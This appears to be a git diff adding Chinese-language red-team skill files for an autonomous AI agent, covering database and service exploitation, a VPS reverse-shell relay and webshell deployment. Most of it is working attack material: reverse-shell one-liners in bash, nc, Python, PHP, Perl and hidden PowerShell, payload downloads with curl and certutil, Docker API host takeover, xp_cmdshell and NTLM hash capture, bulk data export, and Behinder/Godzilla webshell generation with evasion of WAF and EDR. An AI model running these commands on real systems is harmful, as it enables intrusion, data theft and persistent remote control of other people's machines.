+ +# 4) UDF 提权(Linux:lib_mysqludf_sys;Windows:udf.dll 到插件目录) +# 先 redteam_poc_search 查知识库有无现成 UDF 脚本,避免手搓 +``` + +## 三、MSSQL(1433) + +```bash +# 1) 弱口令/未授权 +impacket-mssqlclient :@ -windows-auth # 或 sa/ +# 2) 开 xp_cmdshell 执行命令(需 sysadmin) +SQL> enable_xp_cmdshell +SQL> xp_cmdshell whoami +# 3) 抓哈希提权 / 提权到 sysadmin +SQL> EXEC master.dbo.xp_dirtree '\\<你的IP>\share' # 配合 Responder 抓 NetNTLM +``` + +## 四、Elasticsearch(9200) + +```bash +curl -s http://:9200/ # 返回 cluster_name 即未授权 +curl -s http://:9200/_cat/indices?v # 列索引(含业务库名,直接看出数据价值) +curl -s http://:9200//_search?size=5&pretty # 取样本 +curl -s http://:9200//_search?size=1000 -o runs/es-.json # 批量导出 +# 量级统计("大量敏感信息"要报实际条数) +curl -s "http://:9200//_count?pretty" +``` + +## 五、Docker API(2375/2376)——直通 root + +```bash +curl -s http://:2375/version # 返回 JSON 即未授权 +curl -s http://:2375/containers/json +# 挂载宿主机根目录起容器 → 直接拿宿主 root +docker -H tcp://:2375 run -it -v /:/mnt alpine chroot /mnt sh +# 无 docker 客户端时用 API 直接创建容器(先 redteam_poc_search 查知识库脚本) +``` + +## 六、其它常见未授权 + +| 服务 | 端口 | 判定 | 利用 | +| --- | --- | --- | --- | +| MongoDB | 27017 | `mongosh :27017` 无认证可列库 | 导库(`db-credential`) | +| Memcached | 11211 | `stats` 有回显 | 读缓存数据 | +| ZooKeeper | 2181 | `echo stat \| nc 2181` | 列节点取配置 | +| RabbitMQ | 15672 | `guest/guest` 登录管理台 | 读消息、看连接串 | +| Hadoop YARN | 8088 | REST API 未授权 | 提交任务 RCE | +| Jenkins | 8080 | `/script` 未授权 | Groovy 执行命令 RCE | +| Kibana | 5601 | 未授权 | 读 ES 数据 | +| rsync | 873 | `rsync ::` 列模块 | 同步取文件 | +| NFS | 2049 | `showmount -e ` | 挂载读文件 | +| SMB 共享 | 445 | `smbclient -L // -N` | 空会话读共享 | +| JDWP | 5005/8000 | 调试端口暴露 | 直接执行代码(先查知识库脚本) | + +## 七、纪律与边界 + +1. **只读优先**:先 `INFO`/`SELECT`/`_cat/indices` 这类只读命令确认未授权,**再**考虑写操作。 +2. **写操作要评估破坏性**:`CONFIG SET dir` 改 Redis 配置、写计划任务、UDF 提权都可能影响业务; + **生产库不要跑 `FLUSHALL`/`KEYS *` 全量拉取**(会阻塞服务),用 `--scan` 增量扫。 +3. **导出量要如实统计**:`bigdata-system` 的 `evidence` 必须写**实际导出条数**(≥100 万条才算"大量敏感信息"得分点)。 +4. **一个服务只算一次分**:同一资产同一端口的数据库权限按最高权限算一次(`db-credential` 按服务封顶)。 +5. **内网目标走隧道**:所有命令加 `proxychains4 -f runs/proxychains-.conf`(技能 `suo5-tunnel`), + **不要修改系统 proxychains 配置**(用 `-f` 指向 `runs/` 下的临时配置,用完删除)。 + +## 八、输出与落库(强制) + +1. **未授权本身先落一条漏洞**:`redteam_vuln_add`(`title`=`Redis 未授权访问`、`severity=critical`、 + `target`=**带端口** `10.0.0.5:6379`、`evidence`=实际回显 `INFO` 输出片段、`confidence=confirmed`、 + `gained`=`数据库权限/可写文件`),配 `redteam_http_evidence_add`(原始命令与响应)。 +2. **拿到数据权限记分**:`redteam_score_hit`(`db-credential`),`target` 必须**带端口**,`evidence` 写「资产:端口|拿到什么」 + (如 `10.0.0.5:3306|root 全库读取,导出 user 表 132 万条`)。 +3. **拿到服务器权限记分**:`server-host` / `server-host`(写马成功并实测连接后)。 +4. **落库凭据**:数据库账号 → `redteam_credential_add`(`source=未授权`/`弱口令`,`tool` 写命令)。 +5. **入口落库**:写进去的 WebShell → `redteam_webshell_add`(`shell_type` + `pass_key`), + 隧道 → `redteam_tunnel_add`(`entry_kind` 说清目标侧那一端)。 +6. 每个动作 `redteam_chain_add`:`stage_code=internet`(互联网侧)或 `internal`(内网侧), + `tool` 写**实际命令原文**、`result` 写回显摘要,导出文件放 `runs/`。 +7. 测完立刻 `redteam_asset_test` 回写 `status`/`test`/`surface`,避免后来者重复打。 diff --git a/skills/redteam/vps-reverse-shell.md b/skills/redteam/vps-reverse-shell.md new file mode 100644 index 0000000..97fbc8c --- /dev/null +++ b/skills/redteam/vps-reverse-shell.md @@ -0,0 +1,187 @@ +--- +name: vps-reverse-shell +description: 用自建 VPS(<你的VPS_IP>,SSH 私钥登录)做反弹 Shell 落地与中转:9000-9999 端口监听、非交互会话驱动、载荷投递、反向隧道 +whenToUse: 目标无法回连本机 / 需要公网固定监听端口 / 需要长期在线跳板 / 需要让智能体自己下发命令到反弹 Shell +role: exploit +enabled: true +--- + +# VPS 中转与反弹 Shell(<你的VPS_IP>) + +自建公网 VPS 作为**反弹 Shell 落地端 + 载荷投递点 + 内网中转跳板**。目标只需要能访问互联网, +把 shell 弹到 VPS 的 9000-9999 端口;智能体通过 tmux 会话**非交互地**下发命令并读回输出。 + +## 何时用 / 何时不用 + +| 场景 | 选择 | +| --- | --- | +| 目标能直连本机(同网段、有公网 IP) | 直接本机监听,**不必**用 VPS | +| 目标只能出网、本机在内网(NAT 后) | ✅ 用 VPS,这是主场景 | +| 目标是云主机/容器,出网受限但能出 80/443 | ✅ 用 VPS 的 9000-9999(若被限制就用 443/80 类端口,见排障) | +| 只需要跑一条命令拿结果 | 优先用 Web 漏洞/RCE 的 HTTP 通道,比反弹 shell 更稳更隐蔽 | + +## 资产与凭据 + +``` +主机 : <你的VPS_IP>(腾讯云,Ubuntu 24.04,2C2G,主机名 ) +用户 : ubuntu(sudo 免密) +私钥 : ~/.dsh/redteam/toolkit/vps/id_rsa ← 权限 600,不要复制进仓库/聊天 +可用端口: 9000-9999 ← 云安全组只放了这一段 +工具脚本: ~/.dsh/redteam/toolkit/vps/vps.sh +``` + +**密钥纪律**:私钥只在上面这个路径。任何情况下不要把私钥内容写进技能文件、报告、仓库或对话。 + +已长期占用的端口:**9001 / 9007 / 9009(还有其他 9008 等临时服务)**,另有 tmux 会话 `cap / sh / up / www`。 +**这些不是本次演练的,不要 kill、不要覆盖。** + +## 快速开始 + +```bash +VPS=~/.dsh/redteam/toolkit/vps/vps.sh + +$VPS status # 看 VPS 状态、剩余端口、现有会话 +$VPS listen # 自动挑一个空闲端口开监听(也可 $VPS listen 9000) +# → 拿到端口后,用目标上的漏洞执行反弹命令(见下一节) +$VPS send 9000 'id; uname -a' # 目标回连后,下发命令 +$VPS read 9000 60 # 读回输出 +$VPS kill 9000 # 用完必须清理 +``` + +`listen` 用 tmux + rlwrap + **自动重听循环**:连接断了会自动重新监听,适合反复触发。 + +## 工具用法(vps.sh) + +| 子命令 | 作用 | +| --- | --- | +| `status` | VPS 身份、系统、工具就绪情况、9000-9999 占用、tmux 会话 | +| `port` | 自动返回一个 9000-9999 内的空闲端口 | +| `listen [port]` | 开持久监听(省略端口则自动选),打印目标侧命令模板 | +| `sessions` | 列出 VPS 上的 tmux 会话 | +| `send ''` | **把命令下发进已上线的反弹 Shell**(智能体主用) | +| `read [行数]` | 读回该会话最近输出(默认 200 行) | +| `watch ` | 持续刷新输出(人看) | +| `attach ` | 本机 tmux 接管会话(人用,`Ctrl-B D` 退出) | +| `kill ` | 关闭监听 + 清理会话 + 释放端口 | +| `serve [port] [dir]` | VPS 上起 HTTP 服务,供目标下载载荷(默认 9008) | +| `push <本地> [远端]` | 上传文件到 VPS | +| `get <远端> [本地]` | 从 VPS 取回文件(把目标产物拉回来) | +| `sh '<命令>'` | 在 VPS 上直通执行任意命令 | + +环境变量可覆盖:`VPS_HOST`、`VPS_KEY`。 + +## 目标侧反弹 payload(端口换成你 listen 的那个) + +```bash +# Bash(最常用) +bash -c 'bash -i >& /dev/tcp/<你的VPS_IP>/9000 0>&1' +bash -c 'exec bash -i &>/dev/tcp/<你的VPS_IP>/9000 <&1' + +# nc 系(有 -e 的版本) +nc <你的VPS_IP> 9000 -e /bin/bash +rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <你的VPS_IP> 9000 > /tmp/f + +# Python(无 nc 时的兜底,兼容 python2/3) +python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<你的VPS_IP>",9000));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])' + +# PHP(Web 侧 getshell 后常用) +php -r '$s=fsockopen("<你的VPS_IP>",9000);exec("/bin/bash -i <&3 >&3 2>&3");' + +# Perl +perl -e 'use Socket;$i="<你的VPS_IP>";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' + +# Windows PowerShell +powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<你的VPS_IP>',9000);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}" +``` + +**URL 编码**:走 Web 漏洞(命令注入/RCE)时把 payload 整体 URL 编码后再传参,避免 `&`、`>` 被截断。 + +## 会话升级与稳定化 + +裸 `nc` 出来的 shell 没有 TTY:不能 `sudo`、不能 `su`、`vi` 和 `top` 会异常。升级: + +```bash +# 目标上执行(python3 必装率最高) +python3 -c 'import pty;pty.spawn("/bin/bash")' +# 或 +script -qc /bin/bash /dev/null +``` + +```bash +# 本机侧(attach 后)让 Ctrl-C/方向键正常 +# 在反弹 shell 里依次:Ctrl-Z +stty raw -echo; fg +# 回车两次,然后 +export TERM=xterm; export SHELL=/bin/bash; stty rows 40 cols 160 +``` + +**更稳的方案:socat 全 TTY 监听**(VPS 上已装 socat): + +```bash +$VPS sh "tmux new-session -d -s rt-pty -t '' 'socat file:\`tty\`,raw,echo=0 tcp-listen:9000,reuseaddr'" +# 目标侧 +socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<你的VPS_IP>:9000 +``` + +掉线自动重连(目标侧循环): + +```bash +while true; do bash -c 'bash -i >& /dev/tcp/<你的VPS_IP>/9000 0>&1'; sleep 10; done & +``` + +## 载荷投递(VPS 当文件中转) + +```bash +$VPS serve 9100 ~/rt/payloads # VPS 上起 HTTP 服务 +$VPS push ./suo5 /home/ubuntu/rt/payloads/ +# 目标侧(Linux) +curl -O http://<你的VPS_IP>:9100/suo5 或 wget http://<你的VPS_IP>:9100/suo5 +# 目标侧(Windows) +certutil -urlcache -split -f http://<你的VPS_IP>:9100/beacon.exe C:\Windows\Temp\a.exe +powershell -c "iwr http://<你的VPS_IP>:9100/beacon.exe -OutFile C:\Windows\Temp\a.exe" +``` + +**取回战利品**:`$VPS get /home/ubuntu/rt/loot/dump.zip ~/.dsh/redteam/engagements/<靶标>/runs/` + +## 反向隧道与中转 + +目标在内网、本机不可达时,用 VPS 当跳板: + +```bash +# 反向隧道:VPS:9200 → 目标内网 10.0.0.5:8080(在目标上执行) +ssh -R 9200:10.0.0.5:8080 -N -f -o StrictHostKeyChecking=no -i <目标上的密钥> ubuntu@<你的VPS_IP> +# 之后本机经 VPS 访问:ssh -L 8080:127.0.0.1:9200 ubuntu@<你的VPS_IP> + +# socat 端口转发(VPS 上) +$VPS sh "tmux new-session -d -s fwd-9200 'socat TCP-LISTEN:9200,reuseaddr,fork TCP:10.0.0.5:8080'" +``` + +WebShell 场景配合技能 `suo5-tunnel`:把 suo5 客户端放本机,服务端传到目标,隧道出口经 VPS 更稳。 + +## 纪律(务必遵守) + +1. **端口纪律**:只用 9000-9999,开监听前先 `$VPS port` 或 `$VPS status` 确认空闲;**绝不占用/杀掉 9001、9007、9009 与 `cap/sh/up/www` 会话**。 +2. **每次用完必须 `$VPS kill `**,不要留下裸监听(既是资源占用也是痕迹)。 +3. **凭据落库、不留 VPS**:目标上抓到的口令/哈希用 `redteam_credential_add` 写进本机资产库(明文 `secret_value`),产物落本机 `runs/`;**不要把凭据写进 VPS 家目录**。 +4. **VPS IP 对目标可见**:它属于本次演练的基础设施,不要在目标上留下包含它之外的额外个人信息。 +5. **落库**:每次成功拿到 shell 用 `redteam_access_add` 记录(host/账号/方式/权限/会话引用),每条凭据用 `redteam_credential_add` 记录,攻击脚本用 `redteam_attack_file_add` 归档。 +6. **`send` 出去的每条命令都要能从 `read` 的输出里拿到证据**,重要输出先重定向到文件再 `get` 回来,避免 tmux 回滚缓冲被刷掉。 + +## 排障 + +| 现象 | 处理 | +| --- | --- | +| 目标回连不上 | 先确认监听真在:`$VPS sessions` + `$VPS sh "ss -ltnp \| grep "`;再确认目标出网(目标上 `curl -s http://<你的VPS_IP>:` 若返回连接成功说明端口可达) | +| 端口在范围外/换端口 | 云安全组只放了 9000-9999,超范围必失败 | +| 反复掉线 | 目标侧加 `while true` 重连循环;或用 socat 全 TTY 方案 | +| 有回显但命令不执行 | payload 被 URL 截断(`&`/`>`),整体 URL 编码 | +| 中文乱码 | 目标上 `export LANG=C.UTF-8`,或先 `read` 前把 tmux 设置 `tmux set -t rt- utf8 on` | +| 无 TTY、`sudo` 报错 | 升级 PTY(见上) | +| 本机探测端口"全部可连" | 本机网关会对任意端口回 SYN-ACK,**本机 `nc -z` 不能判断 VPS 端口可达性**;要用外部节点或目标本身验证 | + +## 与其他技能的关系 + +- `suo5-tunnel`:WebShell → SOCKS5 隧道,出口可以走本 VPS +- `webshell-toolkit`:冰蝎/哥斯拉/蚁剑,拿到 WebShell 后的管理 +- `cn-proxy-pool`:需要国内出口 IP 时叠加代理(不要改动本机网络配置) +- `active-scan` / `fofa-recon`:内网可达后继续测绘 diff --git a/skills/redteam/web-fingerprint.md b/skills/redteam/web-fingerprint.md new file mode 100644 index 0000000..1841e92 --- /dev/null +++ b/skills/redteam/web-fingerprint.md @@ -0,0 +1,17 @@ +--- +name: web-fingerprint +description: Web 服务指纹识别:框架、中间件、CMS、组件版本 +whenToUse: 已发现 HTTP/HTTPS 服务,需要识别技术栈时 +role: recon +enabled: true +--- + +## 方法 +1. 响应头:`Server`、`X-Powered-By`、`Set-Cookie` 特征。 +2. 页面特征:favicon 哈希、静态资源路径、报错页、robots.txt。 +3. 主动探测:nuclei 技术识别模板 `nuclei -u -tags tech`;HTTP 存活与技术栈汇总用 `~/.local/bin/pd-httpx -l urls.txt -tech-detect -title -status-code -web-server`(**ProjectDiscovery 版必须用 pd-httpx,`/usr/bin/httpx` 是 Python 库的 CLI**)。 +4. 大网段批量指纹用技能 `gogo-intranet`(`gogo -i -p top2 -v --af`,主动指纹要加 `-v`)。 +5. 版本比对:从指纹推断产品与版本,为漏洞检测做准备。 + +## 落库要求 +写入 fingerprint 表:category(框架/中间件/CMS/组件)、vendor、product、version、evidence。 diff --git a/skills/redteam/webshell-toolkit.md b/skills/redteam/webshell-toolkit.md new file mode 100644 index 0000000..ecdaa0e --- /dev/null +++ b/skills/redteam/webshell-toolkit.md @@ -0,0 +1,88 @@ +--- +name: webshell-toolkit +description: 冰蝎 / 哥斯拉 / 中国蚁剑 的启动与用法,用于上传并管理 WebShell、维持访问、操作目标服务器 +whenToUse: 已获得上传点/文件写入/命令执行,需要落地并操作 WebShell 时 +role: exploit +enabled: true +--- + +# WebShell 工具包(已就位) + +目录 `$DSH_HOME/redteam/toolkit/`,Java 25 已安装。 + +## 铁律:落地必须是冰蝎马 / 哥斯拉马(加密马) + +**用户要在控制台用冰蝎/哥斯拉客户端直连使用这个入口**,所以: +- **默认只落地冰蝎马(Behinder)或哥斯拉马(Godzilla)的加密马**,并把 `shell_type` + `pass_key` 落库(`redteam_webshell_add`)。 +- **一句话马(`?cmd=`)/ 自研马 / 内存马不算交付**:用户连不上、无法交互操作。只能作为**临时中转**(例如只为投递真正的马或建隧道),且必须在 note 里写明"临时中转,非交付入口"。 +- 哥斯拉 GUI 生成需要人在场;**优先用下面「无 GUI 生成冰蝎马」的方式**,一条命令就能产出可交付的马。 + +## 无 GUI 生成冰蝎马(推荐,可脚本化) + +冰蝎马只是把密钥写进模板:密钥 = `md5(连接密码)[:16]`。仓库自带模板: +`$DSH_HOME/redteam/toolkit/Behinder/server/{shell.jsp,shell.jspx,shell_java9.jsp,shell.php,shell.aspx,shell.ashx,shell.asp}` + +```bash +TK=$DSH_HOME/redteam/toolkit +PASS='Rt@2026#xz' # 连接密码(随机生成,别用 rebeyond) +KEY=$(printf '%s' "$PASS" | md5sum | cut -c1-16) # 冰蝎要求 32 位 md5 的前 16 位 +# JSP:替换模板里的密钥 +sed "s/e45e329feb5d925b/$KEY/" $TK/Behinder/server/shell.jsp > /tmp/rt-shell.jsp +# PHP:同理(模板变量名 $key) +sed "s/e45e329feb5d925b/$KEY/" $TK/Behinder/server/shell.php > /tmp/rt-shell.php +echo "连接密码 $PASS | 密钥 $KEY" # 两者都要写进 runs/ 与 redteam_webshell_add +``` + +- 默认密钥 `e45e329feb5d925b` = `md5("rebeyond")[:16]`(模板里的注释就是这个意思)——**必须换成自己的密码**,用默认密码等于把马送给防守方。 +- 目标有 WAF/查杀时用 unicode 转义变体 `shell_uni.jsp`:密钥也是转义形式,需按 `\\u00xx` 逐字符替换(可用 python 生成)。 +- 已实测:`shell.jsp / shell.jspx / shell_java9.jsp / shell.php / shell.aspx / shell.ashx / shell.asp` 七个模板都能用上面这条 `sed` 一条命令换好密钥。 + +哥斯拉马(需要 GUI 时): +```bash +DISPLAY=:10.0 java -jar $DSH_HOME/redteam/toolkit/Godzilla/godzilla.jar +# 管理 → 生成:载荷 java/jsp、加密器 Java_AES_BASE64、密码与密钥随机 → 生成后上传 +``` + +## 上传后必须验证"用户能连上" +1. `curl -s -o /dev/null -w '%{http_code}' "https://target/upload/x.jsp"` → 预期 200(**不要用 GET 带 cmd 参数去测**,冰蝎/哥斯拉马不响应明文命令)。 +2. 用冰蝎或哥斯拉 GUI 新建连接(URL + 连接密码)点「测试连接」→ 通了才算成功;通了再用虚拟终端执行 `id/whoami`。 +3. 落库必须写全:`url`、`shell_type=behinder|godzilla`、`pass_key=连接密码`、`privilege`、`secret_ref`(证据文件);随后**立刻建 suo5 隧道**(技能 `suo5-tunnel`)。 + +## 工具一览 + +| 工具 | 启动命令 | 说明 | +|---|---|---| +| 冰蝎 Behinder v4.1 | `java -jar $DSH_HOME/redteam/toolkit/Behinder/Behinder.jar` | AES 加密流量,JSP/PHP/ASPX | +| 哥斯拉 Godzilla v4.0.1 | `java -jar $DSH_HOME/redteam/toolkit/Godzilla/godzilla.jar` | 支持 JSP/PHP/ASPX 全加密 payload | +| 中国蚁剑 AntSword | `$DSH_HOME/redteam/toolkit/AntSword/AntSword-Loader-v4.0.3-linux-x64/AntSword` | 首次启动选择源码目录 `antSword-2.1.16` | +| suo5 隧道 | `./suo5-linux-amd64` | 见技能 `suo5-tunnel` | + +## 典型流程(授权演练) +1. **确定写入点**:上传漏洞 / 任意文件写 / 后台插件上传 / 模板写入 / 数据库写文件(`INTO OUTFILE`)。 +2. **生成 payload**:按目标语言选 JSP/JSPX/PHP/ASPX(见上「无 GUI 生成冰蝎马」),密码随机生成并记到 `runs/`。 +3. **上传并访问**:`curl -s "https://target.example.com/upload/x.jsp"` 确认返回 200;不要把 shell 放在显眼路径(如 `/shell.jsp`),用与静态资源同风格的随机文件名。 +4. **连接管理**:在工具里新增 URL + 密码,测试连接;成功后用「虚拟终端」执行命令。 +5. **维持与利用**: + - 收集 `id/whoami/hostname/uname -a`、系统账号、内网 IP、路由。 + - **立刻用 suo5 起隧道进内网**(技能 `suo5-tunnel`,这是内网突破的标准通道)。 + - 抓取敏感文件:`/etc/passwd`、配置、`.env`、源码、数据库连接串 → 存 `runs/`。 +6. **落库**: + - `redteam_webshell_add`(url / **shell_type** / **pass_key** / privilege / secret_ref) + - `redteam_access_add`(host/账号/方式 webshell/权限/会话引用) + - `redteam_vuln_update` 把入口漏洞置为 `exploited` + - `redteam_http_evidence_add` 保存上传请求与 shell 访问请求 + - `redteam_chain_add`(stage=exploit/access) + +## 命令执行(临时中转时才用) +如果只需要一次性命令执行,优先直接用已有 RCE 或隧道,不必落一句话马: +```bash +# 例:通过临时一句话马传参执行(用后即删,不算交付入口) +curl -s "https://target.example.com/upload/x.jsp?cmd=id" +# 冰蝎/哥斯拉是 GUI 工具,命令行下用 suo5 隧道 + 常规工具更省事 +``` + +## 注意事项 +- 生成的 shell 只能上传到**本次授权演练的目标**;用完按需清理(删除文件、恢复原状)。 +- 工具 GUI 需要图形会话(`DISPLAY=:10.0` 可用)。 +- 凭据用 `redteam_credential_add` 落库:**明文写 `secret_value`**(面板直接显示,便于复用),同时把证据文件写 `runs/` 并在 `secret_ref` 里引用。资产库只在本机,别把库或导出内容带走。 +- 目标可能有 EDR/查杀:先测试 shell 是否存活,避免反复落地触发告警;落地失败就换语言/编码(JSP→JSPX→PHP)或换上传点。